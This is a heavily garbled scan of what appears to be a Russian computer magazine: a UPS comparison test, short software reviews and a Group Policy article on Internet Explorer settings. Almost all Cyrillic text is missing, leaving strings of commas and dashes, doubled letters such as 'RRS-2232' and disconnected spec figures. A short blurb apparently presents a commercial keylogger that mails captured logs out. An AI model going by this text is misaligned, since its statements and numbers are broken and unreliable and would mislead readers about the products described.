    LAN, ., , . , , , . , , , , ? UPS - - , , - .

    . - , - . -, , . - 19- -- Samsung. , -, PCMark 2005 WinAmp ( ), UPS. , - . () - . - , , - UPS - ( ).

    , , .

    hard

    Riello PDG 600Ippon Back Comfo Pro 800Ippon Smart Power Pro 1000 Lighthouse Pro 1000 Riello WinDialog 65 PlusMGE Ellipse 600SVEN Pro 800Powercom Imperial 625A Lighthouse Base 600

    1 6 0 1 6 5 1 7 0 1 7 5 1 8 0 1 8 5 1 9 0 1 9 5 2 0 0 2 0 5 2 1 0 2 1 5

    ,

    -! ! ! !

  • 75|

    :, : 2, AAMD AAthlon XXP 22400+

    : JetWay nn2View ((nVidia nnForce 22 IIGP)

    , : 512, DDDR333 SSEC

    , : 128, MMSI GGeForce TTi4200

    : ASUS CCD-RRW

    , : 350, PPowerMan

    : 19" SSamsung SSyncMaster 9930BF

    Ippon Smart Power Pro 1000 SVEN Pro 800Lighthouse Pro 1000 Ippon Back Comfo Pro 800Riello WinDialog 65 PlusRiello PDG 600Powercom Imperial 625AMGE Ellipse 600 Lighthouse Base 600

    0 : 0 0 : 0 0 4 : 4 8 : 0 0 9 : 3 6 : 0 0 1 4 : 2 4 : 0 0 1 9 : 1 2 : 0 0 2 4 : 0 0 : 0 0 2 8 : 4 8 : 0 0

    ,

    Ippon BackComfo Pro 800($90)

    , : 800

    , : 3

    , : 3

    : USB, RRS-2232

    : /

    , : 2

    , : 300124210

    , : 7

    . - , . - , -. ( -

    ) , - , -. - . , , - . , , , - , -. RS-232, USB.

    . ( ). Ethernet.

    Lighthouse Base 600($45)

    , : 600

    , : 3

    , :

    : RS-2232

    : /

    , : 2

    , : 9535417

    , : 6

    . , UPS - , . - , -, .

    , - RS-232. , .

    . COM-. - . - LAN. , ( ). - - . , - , , - - . - .

  • 76|

    Riello PDG 600($75)

    , : 550

    , : 3

    , : 1

    : USB

    : /

    , : 3

    , : 88x122x322

    , : 3,3

    . , , - UPS, . - , - - , - .

    . , , 220 179 . - . - USB. , ,

    -. , - , -, . - .

    . - LAN-.

  • 77|

    Riello WinDialog 65 Plus($85)

    , : 650

    , : 3

    , :

    : RS-2232

    : /

    , : 3

    , : 152x110x235

    , : 7

    . - , , Riello WinDia-log 65 Plus , - : , 10 .

    UPS - . - , - - . - , - - -. , Riello PDG 600, .

    . - RS-232, USB . - LAN. -, - .

    PowercomImperial 625A($80)

    , : 625

    , : 3

    , : 2

    : USB

    : /

    , : 3

    , : 105x334x168

    , : 7.4

    . - -- -, .

    - , -: - , - , - USB. - . - . - - . , .

    . AVR, - , - - . - LAN-.

    Lighthouse Pro 1000($100)

    , : 1000

    , : 6

    , :

    : USB

    : /

    , : 4

    , : 147x360x234

    , : 13

    . - , - , -, , . -, , Ippon, -

    , - . - - -/. (, ) - -, USB -. AVR , , - .

    . , , . , , Ippon SmartPower Pro 1000. LAN , .

    . , . ,

  • 78|

    Ippon Smart Power Pro 1000($100)

    , : 1000

    , : 4

    , :

    : USB, RRS-2232

    : /

    , : 6

    , : 368140180

    , : 15

    . - , , . c -. . : 25 , - ,

    ! , - ( CounterStrike!). . -. - ( - - ). -

    , . , ( - ) . , .

    . - LAN. , - . - .

  • 79|

    : , , , . - . - , - . , : -

    IPPON SMART POWER PRO 1000 - -. ( ), . RIELLOPDG 600.

    MGE Ellipse 600($95)

    , : 600

    , : 3

    , : 1

    :

    : /-

    , : 4

    , : 22116778

    , : 4

    . , -. , - . /, , , ( - -, , ).

    , . , COM USB ( ).

    , , AVR : , . , .

    . - $100, UPS, . LAN.

    c : , -.

    Sven Pro 800($90)

    , : 800

    , : 3

    , :

    : RS-2232

    : /

    , : 2

    , : 122141398

    , : 8.5

    . , - - , SVEN -. - -, .

    (21 )- . , , . .

    . , , . - (), RS-232 (, USB ). , - , , .

    . LAN- -. AVR - .

    : - - , - .

    Test_lab : (.(495)689-86-03, www.lighthouseups.ru), (www.merlion.ru), Nevada(www.nevada.ru), Erimex (.(495)232-06-86, www.erimex.ru), MGE.

    , , WINDOWS

  • BearShare PPro 55.2.3.10 - Gnutella. - , -, MPEG, AVI, JPEG, GIF.

    Gmetal GGuikit WWindows XXP

    : GMETAL; OBJECTBAR; STYLER TOOLBAR; FIREFOX; ITUNES; VLC; ADIUM MIRANDA; SHELLWM; VANIM.

    Niqu OSX Rick Patrick,Gmetal mod OSX DigitalJames.

    Windows Kavin.

    soft

    Flaming PPear FFlexify vv2.02 Photoshop - -, . - , - .

    EscapeClose PPro 22.0 EscapeClose Pro , - . , + ++. - , ( -), , - ..

    Copy DDVD GGold 22.12Copy DVD Gold DVD-. DVD , . CopyDVD Gold -/DVD- ( - , - CopyToDVD).

    FastStone IImage VViewer 22.6 BBeta 22, . - , JPEG, JPEG 2000,GIF, PNG, PCX, TIFF, WMF, BMP, ICO, RAW TGA. -, . - -, , - , .. ..

    150- -, ,ZOOM, -, .. , , , .

    n o n a m e NNM.RU

    D O C @ N N M . R U

  • Fetch TText UURL 11.6 Firefox , , -. 20- addons.mozilla.org. Must have , Firefox.

    - -, , - Opera, .

    EVEREST UUltimate2.80.577 BBeta - - . - AIDA32.

    Stardock OObjectDock PPlus vv1.3o Mac OS: - o, -, . oo . , ( Windows), - : , , -. , , . , , , .

    Remote AAdministrtor 33.0 BBeta 11 RAdmin. , , Trial (90 ).

    PerfectKeylogger 11.6.2 , , ? ,Perfect Keylogger . , e-mail FTP.

    . : , . - Perfect Keylogger , , -, NOD32.

    ! Perfect Keylogger (- ).

    Advanced RRAR PPassword Recovery ((ARPR)Advanced RAR Password Recovery (ARPR) - , RAR WinRAR.

    - , - -. , -. ARPR -, Pentium III Pentium IV.

    LimeWire PPro 44.11.0.1.Final LimeWire, . - Gnutella, LimeWire , - . - , - -

    htm2chm 33.0.9.3 - -- .chm-- ( MS Windows) html--, , - .

    PPDF - PDF. , , , - . - , ?

    , Acrobat Reader , ? ... .

    PDF Image Extraction Wizard ( 745 ), . : - ( wizard) Back Next.

    81|

    81|

  • , . . , . . Internet Explorer - GPO Edit User Configuration Windows Settings Internet Explo-rer Maintenance Connection Proxy Settings, -.

    , . web-, . , -, www.rambler.ru. URLs Important URL, Home URLs http://www.rambler.ru. IE - , . IEexplorer'a User ConfigurationAdministrative Templates Internet Explorer. -- IE explorera, Us-er Configuration Administrative Templates In-ternet Explorer Internet Control Panel. IE explorer'a. , User Configuration Administrative Templates Internet ExplorerDisable changing home page settings. - IE explorer'a .

    , Internet Explorer - . - .

    : , - , -, . , - GPO . , IE-explorer'a - -

    soft

    -

    .

    A ( S A N P R I H @ M A I L . R U )

  • 83|

    , . ( - Default Domain Policy): Default Domain Policy User Configuration Ad-ministrative Templates Windows Components Internet Explorer InternetControl Panel. , gpupdate. , OU . - . .

    , . OU . - OU . ! OU - . , - - . , , . , - , , - .

    , - . , - . - ( : -), , . , - - . - , , - . . - .

    GroupPolicy Object Editor User Configuration Administrative Templates DesktopHide My Network Places Icons on Desktop Enabled. , , !

    -